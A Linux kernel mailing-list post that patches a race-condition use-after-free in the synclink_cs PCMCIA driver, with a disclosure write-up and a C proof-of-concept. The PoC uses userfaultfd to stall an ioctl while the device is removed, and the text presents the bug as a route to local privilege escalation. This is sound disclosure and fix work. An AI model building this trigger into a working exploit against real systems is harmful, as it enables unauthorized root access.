[PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

From: Hyunwoo Kim
Date: Tue Sep 13 2022 - 01:20:33 EST


A race condition may occur if the user physically removes
the pcmcia device while calling ioctl() for this tty device node.

This is a race condition between the mgslpc_ioctl() function and
the mgslpc_detach() function, which may eventually result in UAF.

So, add a refcount check to mgslpc_detach() to free the structure
after the tty device node is close()d.

Signed-off-by: Hyunwoo Kim <imv4bel@xxxxxxxxx>
---
drivers/char/pcmcia/synclink_cs.c | 29 +++++++++++++++++++++++++----
1 file changed, 25 insertions(+), 4 deletions(-)

diff --git a/drivers/char/pcmcia/synclink_cs.c b/drivers/char/pcmcia/synclink_cs.c
index 8fc49b038372..cf0cb3d7a69c 100644
--- a/drivers/char/pcmcia/synclink_cs.c
+++ b/drivers/char/pcmcia/synclink_cs.c
@@ -216,7 +216,8 @@ typedef struct _mgslpc_info {

/* PCMCIA support */
struct pcmcia_device *p_dev;
- int stop;
+ int stop;
+ struct kref refcnt;

/* SPPP/Cisco HDLC device parts */
int netcount;
@@ -468,10 +469,21 @@ static void mgslpc_wait_until_sent(struct tty_struct *tty, int timeout);

/* PCMCIA prototypes */

+static void mgslpc_delete(struct kref *kref);
static int mgslpc_config(struct pcmcia_device *link);
static void mgslpc_release(u_long arg);
static void mgslpc_detach(struct pcmcia_device *p_dev);

+static void mgslpc_delete(struct kref *kref)
+{
+ MGSLPC_INFO *info = container_of(kref, MGSLPC_INFO, refcnt);
+ struct pcmcia_device *link = info->p_dev;
+
+ mgslpc_release((u_long)link);
+
+ mgslpc_remove_device(info);
+}
+
/*
* 1st function defined in .text section. Calling this function in
* init_module() followed by a breakpoint allows a remote debugger
@@ -534,6 +546,7 @@ static int mgslpc_probe(struct pcmcia_device *link)
init_waitqueue_head(&info->event_wait_q);
spin_lock_init(&info->lock);
spin_lock_init(&info->netlock);
+ kref_init(&info->refcnt);
memcpy(&info->params,&default_params,sizeof(MGSL_PARAMS));
info->idle_mode = HDLC_TXIDLE_FLAGS;
info->imra_value = 0xffff;
@@ -620,13 +633,14 @@ static void mgslpc_release(u_long arg)

static void mgslpc_detach(struct pcmcia_device *link)
{
+ MGSLPC_INFO *info = link->priv;
+
if (debug_level >= DEBUG_LEVEL_INFO)
printk("mgslpc_detach(0x%p)\n", link);

- ((MGSLPC_INFO *)link->priv)->stop = 1;
- mgslpc_release((u_long)link);
+ info->stop = 1;

- mgslpc_remove_device((MGSLPC_INFO *)link->priv);
+ kref_put(&info->refcnt, mgslpc_delete);
}

static int mgslpc_suspend(struct pcmcia_device *link)
@@ -2341,10 +2355,13 @@ static void mgslpc_close(struct tty_struct *tty, struct file * filp)

tty_port_close_end(port, tty);
tty_port_tty_set(port, NULL);
+
cleanup:
if (debug_level >= DEBUG_LEVEL_INFO)
printk("%s(%d):mgslpc_close(%s) exit, count=%d\n", __FILE__, __LINE__,
tty->driver->name, port->count);
+
+ kref_put(&info->refcnt, mgslpc_delete);
}

/* Wait until the transmitter is empty.
@@ -2480,6 +2497,8 @@ static int mgslpc_open(struct tty_struct *tty, struct file * filp)
if (mgslpc_paranoia_check(info, tty->name, "mgslpc_open"))
return -ENODEV;

+ kref_get(&info->refcnt);
+
port = &info->port;
tty->driver_data = info;
tty_port_tty_set(port, tty);
@@ -2520,6 +2539,8 @@ static int mgslpc_open(struct tty_struct *tty, struct file * filp)
retval = 0;

cleanup:
+ kref_put(&info->refcnt, mgslpc_delete);
+
return retval;
}

--
2.25.1


Dear all,

I think I've probably found a race-condition-to-UAF vulnerability in
drivers/char/pcmcia/synclink_cs.c.
However, this device driver is a pcmcia_driver based driver.
I haven't been able to get this old pcmcia adapter/device.

If you don't mind, I'd like to ask the Linux kernel community to test if
this vulnerability actually triggers.


# Introduction
This vulnerability occurs in drivers/char/pcmcia/synclink_cs.c.

The cause of the vulnerability is a race condition between mgslpc_ioctl() and mgslpc_detach().

The attack vector is the "/dev/ttySLP0" device node.
And this device node becomes 0660 permission belonging to the dialout group due
to the following udev rules in Ubuntu etc:
```
50-udev-default.rules:25:KERNEL=="tty[A-Z]*[0-9]|ttymxc[0-9]*|pppox[0-9]*|ircomm[0-9]*|noz[0-9]*|rfcomm[0-9]*", GROUP="dialout"
```
This means that if this vulnerability actually occurs, a user belonging to the "dialout"
group could use this UAF read/write vulnerability as an LPE.


# Vulnerability
This race condition occurs between this driver's tty_operations - mgslpc_ioctl()
and pcmcia_driver - mgslpc_detach():
```
cpu0 cpu1
1. tty_ioctl()
mgslpc_ioctl()
get_stats()
COPY_TO_USER() <- userfaultfd set
2. mgslpc_detach()
mgslpc_remove_device()
kfree(info)
3. COPY_TO_USER() <- userfaultfd release, UAF
```

1. Call ioctl() in the thread that open()ed ttySLP0.
It stops at COPY_TO_USER() in get_stats() because you pass the userfaultfd(or FUSEfs)
set userspace address when calling ioctl().

2. Physically remove the PCMCIA device.
In this case, the pcmcia_driver's .remove callback, mgslpc_detach() is called
and "kfree(info);" is executed.
Here this "info" structure is the target of a UAF attack.

3. Release userfaultfd from the thread that called ioctl().
A UAF occurs that copies the freed info structure's value to the user.
Also, since UAF occurs in all cases of mgslpc_ioctl(), it can be used for LPE.


The test code is:
```
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sched.h>
#include <malloc.h>
#include <poll.h>
#include <pty.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <linux/userfaultfd.h>

#include <linux/synclink.h>


#define CPU_0 1
#define CPU_1 2
#define CPU_2 3
#define CPU_3 4
#define UFFD_COUNT 1

#define die() do { \
fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)


int fd;
int page_size;
int set1 = 0;
char *addr;


void set_affinity(unsigned long mask) {
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), (cpu_set_t *)&mask) < 0) {
perror("pthread_setaffinity_np");
}

return;
}

static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nwrite;
int qid;
uintptr_t fault_addr;

uffd = (long)arg;

if (page == NULL) {
page = mmap(NULL, page_size,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED){
perror("mmap");
die();
}
}

for (;;) {
struct pollfd pollfd;
int nwritey;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nwritey = poll(&pollfd, 1, -1);
if (nwritey == -1) {
perror("poll");
die();
}

nwrite = read(uffd, &msg, sizeof(msg));
if (nwrite == 0) {
printf("EOF on userfaultfd!\n");
die();
}

if (nwrite == -1) {
perror("write");
die();
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
perror("Unexpected event on userfaultfd");
die();
}

fault_addr = msg.arg.pagefault.address;

if (fault_addr == (uintptr_t)addr) {

printf("[step 3] ioctl ufd stuck pid : %ld\n", syscall(SYS_gettid));

while(!set1);

memset(page, 0x42, page_size);

uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
perror("fault_handler_thwrite() - ioctl-UFFDIO_COPY case 1");
die();
}
}
}
}

void set_userfaultfd(void) {
long uffd[UFFD_COUNT];
struct uffdio_api uffdio_api[UFFD_COUNT];
struct uffdio_register uffdio_register;
pthread_t pf_hdr[UFFD_COUNT];
int p[UFFD_COUNT];
unsigned int size;

page_size = sysconf(_SC_PAGE_SIZE);
size = page_size;

addr = (char *)mmap(NULL,
page_size * UFFD_COUNT,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);

/* userfaultfd handler thwrites */
for (int i=0; i<UFFD_COUNT; i++) {
uffd[i] = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd[i] == -1) {
perror("syscall : userfaultfd");
die();
}

uffdio_api[i].api = UFFD_API;
uffdio_api[i].features = 0;
if (ioctl(uffd[i], UFFDIO_API, &uffdio_api[i]) == -1) {
perror("ioctl() : UFFDIO_API");
die();
}

uffdio_register.range.start = (unsigned long)(addr + (page_size * i));
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd[i], UFFDIO_REGISTER, &uffdio_register) == -1) {
perror("ioctl() : UFFDIO_REGISTER");
die();
}

p[i] = pthread_create(&pf_hdr[i], NULL, fault_handler_thread, (void *)uffd[i]);
if (p[i] != 0) {
perror("pthread_create : page_fault_handler_thread");
die();
}
}
}

void *synclink_ioctl(void) {
int ret;

printf("[step 2] ioctl before pid : %ld\n", syscall(SYS_gettid));

ret = ioctl(fd, MGSL_IOCGSTATS, addr);

printf("[step 5] ioctl after ret : %d pid : %ld\n", ret, syscall(SYS_gettid));
}

void *synclink_remove(void) {
int ret;
char input[2];

sleep(5);

printf("Disconnect now (After disconnecting, type enter)\n");
read(0, input, 1);
printf("[step 4] disconnect pcmcia device\n");

sleep(5);

/*
*
* allocate a victim structure
*
*/

set1 = 1;
}

int main() {
int p1, p2;
int status1, status2;
pthread_t hdr1, hdr2;

set_userfaultfd();

fd = open("/dev/ttySLP0", O_RDWR);
printf("[step 1] open fd = %d pid : %ld\n", fd, syscall(SYS_gettid));

p1 = pthread_create(&hdr1, NULL, synclink_ioctl, (void *)NULL);
if (p1 != 0) {
perror("pthread_create 1");
die();
}

p2 = pthread_create(&hdr2, NULL, synclink_remove, (void *)NULL);
if (p2 != 0) {
perror("pthread_create 2");
die();
}

pthread_join(hdr1, (void **)&status1);
pthread_join(hdr2, (void **)&status2);

printf("done pid : %ld\n", syscall(SYS_gettid));

return 0;
}
```

If the vulnerability is actually triggered, applying the sent patch will fix it.

Best Regards,
Hyunwoo Kim.